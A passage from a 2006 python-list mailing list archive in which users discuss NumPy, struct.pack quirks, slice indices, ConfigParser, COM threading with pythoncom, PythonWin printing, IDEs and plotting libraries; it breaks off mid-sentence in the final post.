Message-ID: <1159983548.857209.129880@k70g2000cwa.googlegroups.com>


sturlamolden wrote:
> Travis E. Oliphant wrote:
>
> > Definitely not true.  People in Singapore, Japan, Ghana, South Africa,
> > France, Germany, New Zealand, Australia, and many other countries are
> > using NumPy successfully.  Gratefully, a few have contributed by buying
> > the book, but a lot more have downloaded and are successfully using it.
>
> >From the PayPal site for purchasing your book: "Select Payment Type:
> Don't have a PayPal account? You don't need an account. Pay securely
> using your credit card." I bought the book from Norway using my credit
> card, and received the pdf file soon afterwards. Obviously the book can
> be bought without a PayPal account or a us billing address.

ok, my apologies on this one. I was wrong about the paypal option. I
missed the spot (right at the top, where I should have seen it) to
change the country. There is indeed a way to buy the book if you don't
live in the US.

-greg



From robin at reportlab.com  Wed Oct 25 13:48:36 2006
From: robin at reportlab.com (Robin Becker)
Date: Wed, 25 Oct 2006 18:48:36 +0100
Subject: unsigned 32 bit arithmetic type?
In-Reply-To: <1161797145.981948.123730@b28g2000cwb.googlegroups.com>
References: <mailman.1162.1161769345.11739.python-list@python.org>	<453F4A52.3050200@v.loewis.de>	<mailman.1174.1161777956.11739.python-list@python.org>
	<1161797145.981948.123730@b28g2000cwb.googlegroups.com>
Message-ID: <453FA374.5020501@chamonix.reportlab.co.uk>

sturlamolden wrote:

> import numpy
> def CalcTableChecksum(Table, Length=None):
>    tmp = numpy.array(Table,dtype=numpy.uint32)
>    if Length == None: Length = tmp.size
>    endptr = ((Length+3) & ~3) / 4
>    return (tmp[0:endptr]).sum()
> 
it's probably wonderful, but I don't think I can ask people to add numpy to the 
list of requirements for reportlab :)

I used to love its predecessor Numeric, but it was quite large.

-- 
Robin Becker



From diffuser78 at gmail.com  Fri Oct  6 16:51:42 2006
From: diffuser78 at gmail.com (diffuser78 at gmail.com)
Date: 6 Oct 2006 13:51:42 -0700
Subject: shortest mean path length
Message-ID: <1160167902.517571.130370@k70g2000cwa.googlegroups.com>

Is there any function in networkx which can compute the shortest mean
path length. (Shortest length between all pairs of the nodes in the
graph). 

Thanks,



From fredrik at pythonware.com  Fri Oct 27 07:31:22 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Fri, 27 Oct 2006 13:31:22 +0200
Subject: struct.pack bug?
References: <ehspsh$qu0$1@news.al.sw.ericsson.se>
Message-ID: <ehsqma$d9c$1@sea.gmane.org>

"Jansson Christer" wrote:

> I have discovered that in my Python 2.4.1 installation (on Solaris 8),
> struct.pack handles things in a way that seems inconsistent to me.
>
> I haven't found any comprehensible documentation over known issues with
> Python 2.4.1 so I try this...
>
> Here's the thing:
>
> >>> from struct import pack
> >>> pack('B', -1)
> Traceback (most recent call last):
>   File "<stdin>", line 1, in ?
> struct.error: ubyte format requires 0<=number<=255
> >>> pack('H', -1)
> Traceback (most recent call last):
>   File "<stdin>", line 1, in ?
> struct.error: short format requires 0<=number<=USHRT_MAX
> >>> pack('L', -1)
> '\xff\xff\xff\xff'
> >>>
>
> Shouldn't pack('L', -1) raise an exception like the others, rather than
> behaving like pack('l', -1)?

probably; the reason for the old behaviour is probably to simplify for code that
uses Python int's to represent 32-bit values.  (mixing longs and ints used to be a
lot more difficult than it is today).

> Is this fixed in later versions?

the "struct" module was rewritten in Python 2.5; the new module issues a
warning, and then appears to *clamp* the value to the allowed range, in-
stead of grabbing the low bits:

>>> import struct

>>> struct.pack("B", -1)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "C:\Python25\Lib\struct.py", line 63, in pack
    return o.pack(*args)
struct.error: ubyte format requires 0 <= number <= 255

>>> struct.pack("H", -1)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "C:\Python25\Lib\struct.py", line 63, in pack
    return o.pack(*args)
struct.error: short format requires 0 <= number <= USHRT_MAX

>>> struct.pack("I", -1)
__main__:1: DeprecationWarning: 'I' format requires 0 <= number <= 4294967295
'\x00\x00\x00\x00'

>>> struct.pack("L", -1)
__main__:1: DeprecationWarning: 'L' format requires 0 <= number <= 4294967295
'\x00\x00\x00\x00'

</F> 





From smichr at gmail.com  Mon Oct 30 05:11:52 2006
From: smichr at gmail.com (smichr at gmail.com)
Date: 30 Oct 2006 02:11:52 -0800
Subject: slice's indices() method
Message-ID: <1162203112.607390.220510@e3g2000cwe.googlegroups.com>

It seems to me that the indices() method for slices is could be
improved. Right now it gives back concrete indices for a range of
length n. That is, it does not return any None values. Using an example
from clpy about this the indices for a 'None, None, -2' slice for a
range of length 10 are given as '9, -1, -2'. The problem is that these
concrete values cannot be fed back into a slice so that a slice will
extract the same elements that the 'None, None, -2' would have
extracted. That's where the problem is. It seems to me that the indices
given *from a slice object* should be able to make a round trip and and
be used as arguments for a slice object and extract the same elements
that the non-concrete (i.e. None-containin) indices would have given.
Instead, the behavior right now only allows these indices from a slice
object to be fed to a *range* object to give back the indices of the
elements that would have been extracted from the original lenght-n
object.

Here is the full example given in the clpy archives:

>>> slice(None, None, -2).indices(10)
(9, -1, -2)
>>> range(9, -1, -2)
[9, 7, 5, 3, 1]
>>> range(10)[slice(9, -1, -2)]
[]

Notice that although the indices given, (9, -1, -2), give a valid range
of values from 9 through 1 stepping by 2, these same indices don't
extract elements from a range when they are given as an argument to the
slice function. In essense, the slice 'None, None, -2' (or '::-2') is
not interpreted the same way as the explicitly specified values of '9,
-1, -2'. This seems unecessarily obtuse: since the indices *came* from
a slice object it seems to me that they should be able to *go back
into* a slice object; 'None, None, -2' and the indices obtained for a
length-10 object should behave the same.

In reading the discussion of Aug 2005 regarding this issue, it sounded
like the intent of slice.indices() was to get indices which could be
sent to range to generate a range whose values would match the indices
produced by the original slice and that this capability was mainly to
be used for unittest-ing. If the following sort of logic were applied
instead of the current logic I think it would improve the usability of
the indices() method for slices:

def sliceIndices(slc, n):
    start, stop, step = slc.indices(n)
    if cmp(stop-start,0)<>cmp(step,0): #null
        if step<0:
            if 0 not in [start-n,stop-n]:start-=n;stop-=n
        else:
            if start<0 or stop<0:start+=n;stop+=n
    else: #valid
        if step<0: #all should be less than 0
            if start>=0 or stop>=0:start-=n;stop-=n
    return start, stop, step

With this logic the following result is obtained for the same indices
used in the above examples:

>>> print sliceIndices(slice(None,None,-2),10)
(-1, -11, -2)
>>> range(-1, -11, -2)
[-1, -3, -5, -7, -9]
>>> range(10)[slice(-1, -11, -2)]
[9, 7, 5, 3, 1]

This modification of the indices will give indices which can be used in
a slice to extract the same elements from a length-n object as the
original slice or to generate a range whose elements correspond to the
indices of the elements extracted by the original slice.

I searched through the *.py scripts in the distribution library, and
the only place I found slice indices being used was in the script
testing slices...and the test were simply assertions that the
slice.indices() gave the expected tuple.

Is there any reason not to change the behavior of the indices() method
so it gives indices that can be used in range (to give indices
corresponding to elements that would be extracted by a given slice)
*and* used as arguments for slices so that the slice with the new
indices (obtained from the indices() method) would extract the same
elements as the original slice from whence they were obtained? Would
anything (except the present unittest for the indices() method) break
if this new behavior were implemented?

/chris



From ocollioud at gmail.com  Fri Oct 27 04:30:21 2006
From: ocollioud at gmail.com (olive)
Date: 27 Oct 2006 01:30:21 -0700
Subject: PyDev + Eclipse (Was: Re: What's the best IDE?)
In-Reply-To: <gOWdnVR1wIKPndzYnZ2dnUVZ_s-dnZ2d@comcast.com>
References: <1161818092.830293.141880@k70g2000cwa.googlegroups.com>
	<mailman.1239.1161839217.11739.python-list@python.org>
	<KZudnVLsLcBkQN3YnZ2dnUVZ_rudnZ2d@comcast.com>
	<1161880517.440039.215280@i3g2000cwc.googlegroups.com>
	<gOWdnVR1wIKPndzYnZ2dnUVZ_s-dnZ2d@comcast.com>
Message-ID: <1161937820.752610.207990@h48g2000cwc.googlegroups.com>


Michael B. Trausch wrote:

> Yep.  Still does it.

I'm running PyDev 1.2.4 without completion problem so far.

Are you up to date ?

Maybe you should install the latest from scratch.



From jstroud at mbi.ucla.edu  Fri Oct 13 03:48:54 2006
From: jstroud at mbi.ucla.edu (James Stroud)
Date: Fri, 13 Oct 2006 07:48:54 GMT
Subject: Efficiently iterating over part of a list
In-Reply-To: <pan.2006.10.13.07.35.48.237633@REMOVEME.cybersource.com.au>
References: <pan.2006.10.13.07.35.48.237633@REMOVEME.cybersource.com.au>
Message-ID: <GxHXg.22330$Ij.1572@newssvr14.news.prodigy.com>

Steven D'Aprano wrote:
> If I want to iterate over part of the list, the normal Python idiom is to
> do something like this:
> 
> alist = range(50)
> # first item is special
> x = alist[0]
> # iterate over the rest of the list
> for item in alist[1:]
>     x = item
> 
> The important thing to notice is that alist[1:] makes a copy. What if the
> list has millions of items and duplicating it is expensive? What do people
> do in that case?
> 
> Are there better or more Pythonic alternatives to this obvious C-like
> idiom?
> 
> for i in range(1, len(alist)):
>     x = alist[i]
> 
> 

I think this is a job for iterators:

listiter = iter(alist)

first_item_is_special = listiter.next()

for not_special_item in listiter:
   do_stuff_with(not_special_item)


Other solutions might involve enumerators:

special = [i for i in xrange(50) if not i%13]

for i,item in alist:
   if i in special:
     do_something_special_with(item)
   else:
     do_other_stuff_with(item)

James


James


From paul at boddie.org.uk  Fri Oct  6 07:24:48 2006
From: paul at boddie.org.uk (Paul Boddie)
Date: 6 Oct 2006 04:24:48 -0700
Subject: Python to use a non open source bug tracker?
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<7xk63h232z.fsf@ruckus.brouhaha.com> <eftfoe$l8n$1@sea.gmane.org>
	<mailman.1155.1159876666.10491.python-list@python.org>
	<mailman.1163.1159879479.10491.python-list@python.org>
	<fxJUg.134222$zy5.1829414@twister1.libero.it>
	<ue6dnQBgEPPCMr7YnZ2dnUVZ_rqdnZ2d@speakeasy.net>
	<eg0bo2$obu$1@nnrp.ngi.it> <45240FD5.3050705@v.loewis.de>
	<4n4Vg.135913$_J1.898276@twister2.libero.it>
	<f4rfv3-vhg.ln1@nb2.stroeder.com> <45254B18.2090806@v.loewis.de>
	<mailman.1379.1160075929.10491.python-list@python.org>
	<YzoVg.137036$zy5.1843214@twister1.libero.it>
	<7x3ba1ltvj.fsf@ruckus.brouhaha.com> <452638EE.8030505@v.loewis.de>
Message-ID: <1160133888.305119.147290@h48g2000cwc.googlegroups.com>

Martin v. L?wis wrote:
>
> For whatever reason, the SF bug tracker is often down, or not
> responding. I'm uncertain why that is, but it's a matter of
> fact that this was one of the driving forces in moving away
> from SF (so it is a real problem).

As I asked before, did anyone look into asking large-scale users of the
various considered products about their experiences with regard to
reliability, scalability, and so on? Obviously, SourceForge is a
special case since it's a closed service with a code base divergent
from the last open source release (and possibly from commercial
deployments of the code), whereas the other contenders except for
Launchpad, along with non-considered but widely-deployed products,
presumably contribute to a certain amount of public experience that can
be drawn upon.

Paul



From steve at holdenweb.com  Mon Oct  9 06:22:43 2006
From: steve at holdenweb.com (Steve Holden)
Date: Mon, 09 Oct 2006 11:22:43 +0100
Subject: Names changed to protect the guilty
In-Reply-To: <slrneik7bp.55m.apardon@rcpc42.vub.ac.be>
References: <eg6opn$7oj$1@panix3.panix.com>	<1160182951.812677.178750@i42g2000cwa.googlegroups.com>	<1160183076.034356.292780@i3g2000cwc.googlegroups.com>	<1160184574.708331.78400@i3g2000cwc.googlegroups.com>	<pan.2006.10.07.11.58.31.585485@REMOVE.THIS.cybersource.com.au>	<1160222386.410987.230630@b28g2000cwb.googlegroups.com>
	<slrneik7bp.55m.apardon@rcpc42.vub.ac.be>
Message-ID: <egd7ru$12r$1@sea.gmane.org>

Antoon Pardon wrote:
> On 2006-10-07, John Machin <sjmachin at lexicon.net> wrote:
> 
>>Steven D'Aprano wrote:
>>
>>>On Fri, 06 Oct 2006 18:29:34 -0700, John Machin wrote:
>>>
>>>
>>>>MonkeeSage wrote:
>>>>
>>>>>On Oct 6, 8:02 pm, "MonkeeSage" <MonkeeS... at gmail.com> wrote:
>>>>>
>>>>>>it is clearer to you to make the condition explicit ("blah not False"),
>>>>>
>>>>>"blah not False" -> "blah is False"
>>>>
>>>>Whichever way your team wants to interpret it, d00d.
>>>>
>>>>Please consider whether you should be writing "(blah is False) is
>>>>True", that would be more explicit.
>>>
>>>Puh-lease! Get it right!
>>>
>>>It should be "((blah is False) is True) is True".
>>
>>Yes, but it stops after one more iteration. "What I tell you three
>>times is true" -- the Bellman, "The Hunting of the Snark", by Lewis
>>Carroll.
> 
> 
> Shouldn't it then be: "((blah is False) is False) is False"
> 
No, that would be

"((blah is True) is False) is True"

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From robert.kern at gmail.com  Mon Oct  9 23:50:31 2006
From: robert.kern at gmail.com (Robert Kern)
Date: Mon, 09 Oct 2006 23:50:31 -0400
Subject: Python component model
In-Reply-To: <1VzWg.7212$Y24.1666@newsread4.news.pas.earthlink.net>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>	<mailman.130.1160418618.11739.python-list@python.org>	<HwxWg.5035$Lv3.2259@newsread1.news.pas.earthlink.net>	<mailman.141.1160429886.11739.python-list@python.org>
	<1VzWg.7212$Y24.1666@newsread4.news.pas.earthlink.net>
Message-ID: <egf5a6$uii$1@sea.gmane.org>

Edward Diener No Spam wrote:
> Robert Kern wrote:
>> Edward Diener No Spam wrote:
>>
>>> There's nothing wrong with Python's introspection. In fact Python's 
>>> facilities in this area and its support for metadata are stronger than 
>>> any of these other languages ! However there is no common component 
>>> model which specifies that X is a "property" or Y is an "event" of a 
>>> Python class which can be visually manipulated at design-time and 
>>> automagically set at run-time, so that any given Python RAD visual 
>>> environment will treat a Python class, specified as a component, in 
>>> exactly the same way. Also in these other languages, a component is 
>>> different from a class in that a component is recognized in a 
>>> particular way, often so that the component can interact if necessary 
>>> with its container and/or visual site.
>> You'll definitely want to take a look at Enthought's Traits (disclaimer: 
>> I work for Enthought). I'm supposed to be on vacation now, so I'm not 
>> going to give you the full rundown of Traits and Traits UI, so I'm 
>> simply going to point you to the page we have about it:
>>
>>   http://code.enthought.com/traits/
> 
> It looks as if traits is an attempt to create a "property" in the 
> component terminology which I originally specified. I will take a look 
> at it.

It also provides an event model and a declarative UI layer as well as several 
other things besides.

-- 
Robert Kern

"I have come to believe that the whole world is an enigma, a harmless enigma
  that is made terrible by our own mad attempt to interpret it as though it had
  an underlying truth."
   -- Umberto Eco



From tony_ha2002 at yahoo.co.uk  Mon Oct  2 10:29:49 2006
From: tony_ha2002 at yahoo.co.uk (TonyHa)
Date: 2 Oct 2006 07:29:49 -0700
Subject: Help with ConfigParser
In-Reply-To: <efr5cn$og7$02$1@news.t-online.com>
References: <K78Ug.314$R52.230@lon04-news-philips>
	<efr5cn$og7$02$1@news.t-online.com>
Message-ID: <1159799389.298497.59740@m7g2000cwm.googlegroups.com>

Hello Peter,

Thanks for your help, and it works now!

Tony.

Peter Otten wrote:
> tony.ha at philips.com wrote:
>
> > Question: How can I pervent ConfigParse to convert Upper case yo lower
> > case??, thanks.
>
> http://docs.python.org/dev/lib/RawConfigParser-objects.html
>
> """
> optionxform(option)
>
> Transforms the option name option as found in an input file or as passed in
> by client code to the form that should be used in the internal structures.
> The default implementation returns a lower-case version of option;
> subclasses may override this or client code can set an attribute of this
> name on instances to affect this behavior. Setting this to str(), for
> example, would make option names case sensitive.
> """"
>
> If you don't pass defaults:
>
> config = ConfigParser()
> config.optionxform = str
> # ...
>
> Or, to be on the safe side:
>
> class MyCasePreservingConfigParser(ConfigParser):
>     optionxform = str
> 
> config = MyCasePreservingConfigParser()
> # ...
> 
> Peter



From nulla.epistola at web.de  Mon Oct  9 06:33:26 2006
From: nulla.epistola at web.de (Hertha Steck)
Date: Mon, 09 Oct 2006 12:33:26 +0200
Subject: PythonWin: error message and endless printing
Message-ID: <egd8hn$j40$02$1@news.t-online.com>

Using Python 2.5 with pywin32 build 210 on Windows XP Home, first try with
PythonWin after installation of this version. Here are the header lines
from the interactive window:

PythonWin 2.5 (r25:51908, Sep 19 2006, 09:52:17) [MSC v.1310 32 bit (Intel)]
on win32.
Portions Copyright 1994-2006 Mark Hammond - see 'Help/About PythonWin' for
further copyright information.

If I try to print my script using the print button in the toolbar I get the
following warning:

>>> C
\Programme\Python25\Lib\site-packages\pythonwin\pywin\scintilla\view.py:641:
DeprecationWarning: 'L' format requires 0 <= number <= 4294967295
  fr = struct.pack('LLIIIIIIIIll', hdcRender, hdcFormat, rc[0], rc[1],
rc[2], rc[3], rc[0], rc[1], rc[2], rc[3], pageStart, lengthDoc)
>>>

And then the printer prints one page after another just with the header and
nothing else. The printer window shows 60 pages for the job - the script
hasn't even 60 lines. I didn't wait to see if it would stop after 60
pages ...

Printing from the print preview or from the print dialog called by the
"Print..." menu entry works faultlessly. Which is quite a good workaround,
but no long time solution.

Google didn't produce anything similar, so might it be something local? But
what? Not the printer itself, same problem with two different ones.



From rupole at hotmail.com  Fri Oct 13 03:17:08 2006
From: rupole at hotmail.com (Roger Upole)
Date: Fri, 13 Oct 2006 03:17:08 -0400
Subject: COM and Threads
References: <1160703286.841671.109210@b28g2000cwb.googlegroups.com>
	<1160712022_1597@sp6iad.superfeed.net>
	<1160713687.665650.221900@b28g2000cwb.googlegroups.com>
	<1160718073_1665@sp6iad.superfeed.net>
	<1160718935.372511.303470@m73g2000cwd.googlegroups.com>
Message-ID: <1160724047_3201@sp6iad.superfeed.net>


"Teja" <tejovathi.p at gmail.com> wrote:
>
> Roger Upole wrote:
>
>> "Teja" <tejovathi.p at gmail.com> wrote:
>> >
>> > Roger Upole wrote:
>> >
>> >> "Teja" <tejovathi.p at gmail.com> wrote:
>> >> >I have an application which uses COM 's Dispatch to create a COM based
>> >> > object. Now I need to upgrade the application to a threaded one. But
>> >> > its giving an error that COM and threads wont go together. Specifically
>> >> > its an attribute error at the point where COM object is invoked. Any
>> >> > pointers please??????
>> >> >
>> >>
>> >> An actual traceback would help.
>> >> At a guess, when using COM in a thread
>> >> you need to call pythoncom.CoInitialize and
>> >> CoUninitialize yourself.
>> >>
>> >>      Roger
>> >
>> > Actually Roger, this is the scenario....
>> >
>> > I create a COM object at the beginnning of the main thread. In the sub
>> > thread, I need to access the same instance of the COM object. If it
>> > were a normal object ie. not a COM obj, i was able to do it. But if it
>> > were a COM object, its giving an attribute error? Should I pass a COM
>> > object to the thread. If so How? Please let me know ASAP... Thnks
>> >
>>
>> To pass COM objects between threads, usually they'll need to be marshaled
>> using pythoncom.CoMarshalInterThreadInterfaceInStream, and unmarshaled
>> with pythoncom.CoGetInterfaceAndReleaseStream.
>>
>>          Roger
>
> I really appreciate your quick reply....Can u please let me know how to
> do marshalling and unmarshalling or any good refrences to do it.
> Because i tried to do it. I got some errors ans so I left it...
>
> Thnks again...
>

Here's a simple example using Internet Explorer.

import win32com.client, pythoncom, thread
ie=win32com.client.Dispatch('internetexplorer.application')
ie.Visible=1

def nav(istream, dest):
    pythoncom.CoInitialize()
    d=pythoncom.CoGetInterfaceAndReleaseStream(istream, pythoncom.IID_IDispatch)
    my_ie=win32com.client.Dispatch(d)
    my_ie.Navigate(dest)
    pythoncom.CoUninitialize()

s=pythoncom.CoMarshalInterThreadInterfaceInStream(pythoncom.IID_IDispatch,ie)
thread.start_new_thread(nav, (s, 'www.google.com'))

      Roger




From hg at nospam.com  Fri Oct 13 12:11:59 2006
From: hg at nospam.com (hg)
Date: Fri, 13 Oct 2006 11:11:59 -0500
Subject: Where can I find good python code?
In-Reply-To: <mailman.458.1160755720.11739.python-list@python.org>
References: <mailman.458.1160755720.11739.python-list@python.org>
Message-ID: <S1PXg.27309$Go3.2664@dukeread05>

js wrote:
> Hi,
> 
> I've learned basics of Python and want to go to the next step.
> So I'm looking for good python examples
> I steal good techniques from.
> 
> I found Python distribution itself contains some examples in Demo
> directory.
> I spent some time to read them and
> I think they're good but seemed not so practical to me.
> 
> Any recommendations?

Sure, there are tons of pure-Python modules out there.

hg



From no-spam at no-spam-no-spam.com  Fri Oct 13 18:33:41 2006
From: no-spam at no-spam-no-spam.com (robert)
Date: Sat, 14 Oct 2006 00:33:41 +0200
Subject: wxPython installation interferes with win32ui/win32gui
In-Reply-To: <egp3j9$jec$1@ulysses.news.tiscali.de>
References: <egp3j9$jec$1@ulysses.news.tiscali.de>
Message-ID: <egp486$jh6$1@ulysses.news.tiscali.de>

robert wrote:
> 
> c:\Python23\pythonw.exe.manifest
> c:\Python23python.exe.manifest
> 

I found out that in fact when I move away these 2 files to a backup 
location after a wx installation, things go well again.

What at all do this .manifest files do ?
And why do win32ui apps freak out, when these are present?
Have post the content of pythonw.exe.manifest below.
Are wx apps affected in a bad way, if I remove those files for ever?

-robert


========================================================
C:\python23\pythonw.exe.manifest
========================================================
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity
     version="0.64.1.0"
     processorArchitecture="x86"
     name="Python"
     type="win32"
/>
<description>Python Interpreter</description>
<dependency>
     <dependentAssembly>
         <assemblyIdentity
             type="win32"
             name="Microsoft.Windows.Common-Controls"
             version="6.0.0.0"
             processorArchitecture="X86"
             publicKeyToken="6595b64144ccf1df"
             language="*"
         />
     </dependentAssembly>
</dependency>
</assembly>



From Eric_Dexter at msn.com  Sat Oct  7 02:56:32 2006
From: Eric_Dexter at msn.com (Eric_Dexter at msn.com)
Date: 6 Oct 2006 23:56:32 -0700
Subject: problem with split
In-Reply-To: <1160203574.984791.222500@c28g2000cwb.googlegroups.com>
References: <1160194063.352905.106210@e3g2000cwe.googlegroups.com>
	<03eei21fpk5d6s75hb6fnaeruk0o7ob18k@4ax.com>
	<mailman.9.1160200561.11739.python-list@python.org>
	<1160201348.602509.9900@m73g2000cwd.googlegroups.com>
	<mailman.11.1160202030.11739.python-list@python.org>
	<1160203574.984791.222500@c28g2000cwb.googlegroups.com>
Message-ID: <1160204192.346227.310440@h48g2000cwc.googlegroups.com>

I am not sure if I am having trouble with the test program or the
routine..  (I had the brackets in the wrong place on the other)

IDLE 1.1.3      ==== No Subprocess ====
>>>
['1', 'String pad']
>>>

I get this but I have at least three lines and the

v = []
v = csoundroutines.csdInstrumentList('bay-at-night.csd')
print v




Eric_Dexter at msn.com wrote:
> I think I am very close the return line is tripping me up.  (this is
> the first list that I have tried to program in python)
>
> return (s.group[1], s.group[2])
>
> Traceback (most recent call last):
>   File "C:\Python24\Lib\site-packages\boa-constructor\test of
> snake\test_of_csoundroutines_list.py", line 5, in ?
>     v = csoundroutines.csdInstrumentList('bay-at-night.csd')
>   File "C:\Python24\Lib\site-packages\boa-constructor\test of
> snake\csoundroutines.py", line 43, in csdInstrumentList
>     return (s.group[1], s.group[2])
> TypeError: unsubscriptable object
>
>
>
>
>
>
>
>
>
>
> hanumizzle wrote:
> > On 6 Oct 2006 23:09:08 -0700, MonkeeSage <MonkeeSage at gmail.com> wrote:
> > >
> > >
> > > On Oct 6, 11:33 pm, hanumizzle <hanumiz... at gmail.com> wrote:
> > > > import re
> > > >
> > > > <snip>
> > > >
> > > > if line.startswith('instr'):
> > > >   p = re.compile(r'(\d+)\s+;(.*)$')
> > > >   m = p.search(line)
> > > >
> > > > return (m.group(1), m.group(2))
> > >
> > > You probably don't want startswith, in case there are initial spaces in
> > > the line.
> >
> > Pardon me; I am not very familiar with file format in question.
> >
> > > Also, since the regexp is single use, you can just use the
> > > re.search class method, which will compile the regexp implicitly.
> >
> > Cool.
> >
> > > May
> > > also want to strip the second grouped match, in case of trailing
> > > spaces.
> > 
> > Cosmetic, but good idea.
> > 
> > -- Theerasak



From bernhard.voigt at gmail.com  Sun Oct  8 07:20:10 2006
From: bernhard.voigt at gmail.com (bernhard.voigt at gmail.com)
Date: 8 Oct 2006 04:20:10 -0700
Subject: Scientific computing and data visualization.
References: <mailman.85.1157564525.5279.python-list@python.org>
	<1157574433.664189.217960@m73g2000cwd.googlegroups.com>
	<mailman.100.1157579667.5279.python-list@python.org>
	<1157652641.877725.223880@h48g2000cwc.googlegroups.com>
	<45265EC2.1020100@gmx.de>
	<mailman.25.1160215769.11739.python-list@python.org>
Message-ID: <1160306410.245567.116620@m7g2000cwm.googlegroups.com>

> > I can definitively second that. ROOT is a bit hard to learn but very,
> > very powerful and PyRoot is really a pleasure to work with.
>
> It sounds interesting. Right now, I use matplotlib for
> 2D plotting and vtk for 3D. Do you have any experience and
> can give some recommendations?

Hi Fabian!

I recommend using matplotlib for data visualization, because the usage
of the plotting commands is much(!!!) more convenient. In ROOT you have
to create objects before you can draw your diagrams. The constructor
often requires arguments about the number of space points, axis length,
name etc. On the other hand, the figure itself has a GUI to manipulate
the plot, which sometimes is nicer than doing everything in the script.
In particular the 3D visualization seems to be more comprehensive (lots
of drawing options, rotation of the plot with the mouse, changing of
visualization lego, surf, contour plots etc.).

ROOT has more than plotting. For example it has a whole bunch of
containers to store very large amounts of data (within complex
datastructures), fitting routines, minimizers etc. But you get that
with scipy and numpy.

I'm using 80% of the time matplotlib because it's much quicker for
quick glances at your data. If I need sophisitcated 3D plots, I use
ROOT, but I would love to switch to matplotlib for this, as well.

My guess is that using python and matplotlib with scipy speeds up my
work by at least 30% in comparison to using purely ROOT (and code in
C++). And even 10-15% in comparison to the usage of ROOT with pyRoot.

Enjoy! Bernhard



From pydecker at gmail.com  Fri Oct 13 21:52:52 2006
From: pydecker at gmail.com (Peter Decker)
Date: Fri, 13 Oct 2006 21:52:52 -0400
Subject: IDE
In-Reply-To: <463ff4860610130858y780c9870x57a845de4ac49e91@mail.gmail.com>
References: <4zOXg.1918$uv5.11354@twister1.libero.it>
	<463ff4860610130858y780c9870x57a845de4ac49e91@mail.gmail.com>
Message-ID: <ca55a9900610131852g17958443h2ed41d8f177fc23b@mail.gmail.com>

On 10/13/06, Theerasak Photha <hanumizzle at gmail.com> wrote:
> On 10/13/06, giuseppe <casagiuseppe2006 at libero.it> wrote:
> > What is the better IDE software for python programming?

I like SPE. They really work the way I like to work.

-- 

# p.d.


From onurb at xiludom.gro  Mon Oct 16 05:27:15 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Mon, 16 Oct 2006 11:27:15 +0200
Subject: Cannot import a module from a variable
In-Reply-To: <1160920129.886155.112970@b28g2000cwb.googlegroups.com>
References: <1160920129.886155.112970@b28g2000cwb.googlegroups.com>
Message-ID: <45335075$0$5656$426a74cc@news.free.fr>

Jia Lu wrote:
> Hi all:
> 
> I try to do things below:
>>>> import sys
>>>> for i in sys.modules.keys():
> 	import i
> Traceback (most recent call last):
>   File "<pyshell#67>", line 2, in <module>
>     import i
> ImportError: No module named i
> 
> But it seems that import donot know what is i ? 

The import statement expects a name (a symbol), not a string.

-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From fredrik at pythonware.com  Tue Oct  3 04:46:54 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Tue, 03 Oct 2006 10:46:54 +0200
Subject: Python to use a non open source bug tracker?
In-Reply-To: <22pUg.132825$zy5.1820633@twister1.libero.it>
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
Message-ID: <eft81u$tdf$1@sea.gmane.org>

Giovanni Bajo wrote:

> I just read this mail by Brett Cannon:
> http://mail.python.org/pipermail/python-dev/2006-October/069139.html
> where the "PSF infrastracture committee", after weeks of evaluation, recommends
> using a non open source tracker (called JIRA - never heard before of course)
> for Python itself.
> 
> Does this smell "Bitkeeper fiasco" to anyone else than me?

not necessarily (and good support for data export is high on the 
requirements list), but for those of us who's been following the 
committee's work, there has indeed been a disturbing amount of
"free as in - oh shiny!" from the very beginning.

however, note that the committee do realize that using a Python-
powered tool for Python is a good thing in itself; they are asking
for volunteers that can keep a roundup instance running, and fix
any issues that arises.  python.org has plenty of hardware, but not 
enough manpower to do everything that could be done.  see brett's
post for details.

</F>



From sverker.is at home.se  Thu Oct 12 16:46:49 2006
From: sverker.is at home.se (Sverker Nilsson)
Date: 12 Oct 2006 13:46:49 -0700
Subject: Guppy-PE 0.1.5 released
Message-ID: <1160686009.820689.153350@k70g2000cwa.googlegroups.com>

I would like to announce Guppy-PE 0.1.5

Guppy-PE is a library and programming environment for Python,
currently providing in particular the Heapy subsystem, which supports
object and heap memory sizing, profiling and debugging. It also
includes a prototypical specification language, the Guppy Specificaion
Language (GSL), which can be used to formally specify aspects of
Python programs and generate tests and documentation from a common
source.

The current version is updated to work with Python 2.5 (and can still
be used with 2.3 and 2.4). It also has some feature improvements, such
as some shorthand attributes, and a clearer representation of shortest
paths. Bugs have been fixed wrt especially remote monitoring and
making the HTML generated by GSL more standards-compliant. For update
details, see the changelog included with the source code.

License: MIT

For more information and to download the Guppy-PE source code, see:

http://guppy-pe.sourceforge.net

My master thesis, "Heapy: A Memory Profiler and Debugger for Python"
has now been approved and is available here:

http://guppy-pe.sourceforge.net/heapy-thesis.pdf

Best regards,

Sverker Nilsson



From deets at nospam.web.de  Fri Oct 13 06:10:26 2006
From: deets at nospam.web.de (Diez B. Roggisch)
Date: Fri, 13 Oct 2006 12:10:26 +0200
Subject: Click and Drag Functionality in Web Apps with Python
In-Reply-To: <mailman.430.1160730604.11739.python-list@python.org>
References: <mailman.374.1160660171.11739.python-list@python.org>	<4p92q4Fh1pc9U1@uni-berlin.de>
	<mailman.430.1160730604.11739.python-list@python.org>
Message-ID: <4p970iFhv9t1U1@uni-berlin.de>

Fredrik Lundh schrieb:
> Diez B. Roggisch wrote:
> 
>> There is mochikit, a javascript library that makes coding in javascript
>> suck less.
> 
> and which is written by an experienced Python programmer, so it also
> makes your JavaScript look and feel a little more Pythonic.
> 
> (not that JavaScript itself is that unpythonic, really, but some of the API:s
> suck pretty badly).


I pretty much like the language, yes. But the environment it is deployed 
